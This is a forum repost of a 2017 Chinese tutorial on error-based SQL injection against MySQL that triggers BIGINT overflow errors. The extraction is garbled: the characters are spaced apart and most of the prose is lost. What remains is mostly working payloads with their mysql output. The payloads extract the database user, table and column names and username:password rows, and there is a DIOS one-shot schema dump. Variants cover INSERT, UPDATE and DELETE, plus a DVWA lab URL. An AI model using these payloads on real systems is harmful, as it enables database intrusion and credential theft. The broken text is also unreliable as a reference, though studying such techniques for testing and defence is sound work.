[20825] 2017-07-21_基于BIGINT溢出错误的SQL注入

文档创建者:s7ckTeam
浏览次数:19
最后更新:2025-01-18
2017-07-21_基于BIGINT溢出错误的SQL注入 B I G I N T S Q L L e m o n S e c   2 0 1 7 - 0 7 - 2 1 M y S Q L M y S Q L 使 M y S Q L ( h t t p : / / d e v . m y s q l . c o m / d o c / r e f m a n / 5 . 5 / e n / i n t e g e r - t y p e s . h t m l ) 5 . 5 . 5 M y S Q L B I G I N T 8 6 4 0 b 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 x 7 f f f f f f f f f f f f f f f 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 7   B I G I N T   v a l u e   i s   o u t   o f   r a n g e m y s q l >   s e l e c t   9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 7 + 1 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 7   +   1 ) ' B I G I N T B I G I N T   v a l u e   i s   o u t   o f   r a n g e #   I n   d e c i m a l m y s q l >   s e l e c t   1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5 + 1 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( 1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5   +   1 ) ' #   I n   b i n a r y m y s q l >   s e l e c t   c a s t ( b ' 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 '   a s   u n s i g n e d ) + 1 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( c a s t ( 0 x f f f f f f f f f f f f f f f f   a s   u n s i g n e d )   +   1 ) ' #   I n   h e x m y s q l >   s e l e c t   c a s t ( x ' F F F F F F F F F F F F F F F F '   a s   u n s i g n e d ) + 1 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( c a s t ( 0 x f f f f f f f f f f f f f f f f   a s   u n s i g n e d )   +   1 ) ' 0   B I G I N T m y s q l >   s e l e c t   ~ 0 ; + - - - - - - - - - - - - - - - - - - - - - - + |   ~ 0   | + - - - - - - - - - - - - - - - - - - - - - - + |   1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5   | + - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) ~ 0 B I G I N T m y s q l >   s e l e c t   1 - ~ 0 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( 1   -   ~ ( 0 ) ) ' m y s q l >   s e l e c t   1 + ~ 0 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( 1   +   ~ ( 0 ) ) ' 0 x 0 0 2   B I T I N T 0 1 ( ) 0 b 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 x F F F F F F F F F F F F F F F F 1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5 s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x
m y s q l >   s e l e c t   ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x )   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   r o o t @ l o c a l h o s t   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c ) #   A p p l y i n g   l o g i c a l   n e g a t i o n m y s q l >   s e l e c t   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) ; + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x )   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   1   | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1   r o w   i n   s e t   ( 0 . 0 0   s e c )   m y s q l >   s e l e c t   ~ 0 + ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ~ ( 0 )   +   ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) ) ) ' 使 + 使 % 2 b +   使   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0 ( s e l e c t ( ! x - ~ 0 ) f r o m ( s e l e c t ( s e l e c t   u s e r ( ) ) x ) a ) ( s e l e c t ! x - ~ 0 . f r o m ( s e l e c t ( s e l e c t   u s e r ( ) ) x ) a ) m y s q l >   s e l e c t   u s e r n a m e ,   p a s s w o r d   f r o m   u s e r s   w h e r e   i d = ' 1 '   o r   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) )   -   ~ ( 0 ) ) ' < h t t p : / / l o c a l h o s t / d v w a / v u l n e r a b i l i t i e s / s q l i / ? i d = 1 '   o r   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0 - -   - | & S u b m i t = S u b m i t # > B I G I N T 使 M y S Q L s e l e c t   ! a t a n ( ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) a ) ) - ~ 0 ;   s e l e c t   ! c e i l ( ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) a ) ) - ~ 0 ; s e l e c t   ! f l o o r ( ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) a ) ) - ~ 0 ; : ) H E X I N F L O O R C E I L R A N D C E I L I N G T R U N C A T E T A N S Q R T R O U N D S I G N 0 x 0 0 3   ! ( s e l e c t * f r o m ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   l i m i t   0 , 1 ) x ) - ~ 0 s e l e c t   ! ( s e l e c t * f r o m ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' u s e r s '   l i m i t   0 , 1 ) x ) - ~ 0 ;
! ( s e l e c t * f r o m ( s e l e c t   c o n c a t _ w s ( ' : ' , i d ,   u s e r n a m e ,   p a s s w o r d )   f r o m   u s e r s   l i m i t   0 , 1 ) x ) - ~ 0 ; 0 x 0 0 4       2 7 ! ( s e l e c t * f r o m ( s e l e c t ( c o n c a t ( @ : = 0 , ( s e l e c t   c o u n t ( * ) f r o m ` i n f o r m a t i o n _ s c h e m a ` . c o l u m n s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) a n d @ : = c o n c a t ( @ , 0 x a , t a b l e _ s c h e m a , 0 x 3 a 3 a , t a b l e _ n a m e , 0 x 3 a 3 a , c o l u m n _ n a m e ) ) , @ ) ) ) x ) - ~ 0 ( s e l e c t ( ! x - ~ 0 ) f r o m ( s e l e c t ( c o n c a t   ( @ : = 0 , ( s e l e c t   c o u n t ( * ) f r o m ` i n f o r m a t i o n _ s c h e m a ` . c o l u m n s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) a n d @ : = c o n c a t   ( @ , 0 x a , t a b l e _ n a m e , 0 x 3 a 3 a , c o l u m n _ n a m e ) ) , @ ) ) x ) a ) ( s e l e c t ! x - ~ 0 . f r o m ( s e l e c t ( c o n c a t   ( @ : = 0 , ( s e l e c t   c o u n t ( * ) f r o m ` i n f o r m a t i o n _ s c h e m a ` . c o l u m n s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) a n d @ : = c o n c a t   ( @ , 0 x a , t a b l e _ n a m e , 0 x 3 a 3 a , c o l u m n _ n a m e ) ) , @ ) ) x ) a ) 2 7 3 1   2 7 4 0 x 0 5   m y s q l >   i n s e r t   i n t o   u s e r s   ( i d ,   u s e r n a m e ,   p a s s w o r d )   v a l u e s   ( 2 ,   ' '   o r   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0   o r   ' ' ,   ' E y r e ' ) ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) )   -   ~ ( 0 ) ) ' 使 D I O S i n s e r t   i n t o   u s e r s   ( i d ,   u s e r n a m e ,   p a s s w o r d )   v a l u e s   ( 2 ,   ' '   o r   ! ( s e l e c t * f r o m ( s e l e c t ( c o n c a t ( @ : = 0 , ( s e l e c t   c o u n t ( * ) f r o m ` i n f o r m a t i o n _ s c h e m a ` . c o l u m n s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) a n d @ : = c o n c a t ( @ , 0 x a , t a b l e _ s c h e m a , 0 x 3 a 3 a , t a b l e _ n a m e , 0 x 3 a 3 a , c o l u m n _ n a m e ) ) , @ ) ) ) x ) - ~ 0   o r   ' ' ,   ' E y r e ' ) ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' 0 0 0 n e w d b : : u s e r s : : i d n e w d b : : u s e r s : : u s e r n a m e n e w d b : : u s e r s : : p a s s w o r d '   f r o m   d u a l ) ) )   -   ~ ( 0 ) ) ' 0 x 0 6   m y s q l >   u p d a t e   u s e r s   s e t   p a s s w o r d = ' P e t e r '   o r   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0   o r   ' '   w h e r e   i d = 4 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) )   -   ~ ( 0 ) ) ' 0 x 0 7   m y s q l >   d e l e t e   f r o m   u s e r s   w h e r e   i d = ' 1 '   o r   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) x ) - ~ 0   o r   ' ' ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) )   -   ~ ( 0 ) ) ' 0 x 0 8     5 . 5 . 5   m y s q l >   s e l e c t   ! 1 - 0 ^ 2 2 2 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( 1 ) )   -   ( 0   ^   2 2 2 ) ) ' m y s q l >   s e l e c t   ! ( s e l e c t * f r o m ( s e l e c t   u s e r ( ) ) a ) - 0 ^ 2 2 2 ; E R R O R   1 6 9 0   ( 2 2 0 0 3 ) :   B I G I N T   U N S I G N E D   v a l u e   i s   o u t   o f   r a n g e   i n   ' ( ( n o t ( ( s e l e c t   ' r o o t @ l o c a l h o s t '   f r o m   d u a l ) ) )   -   ( 0   ^   2 2 2 ) ) ' D V W A P H P     o r   ( p a y l o a d )   o r   m y s q l _ e r r o r ( )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则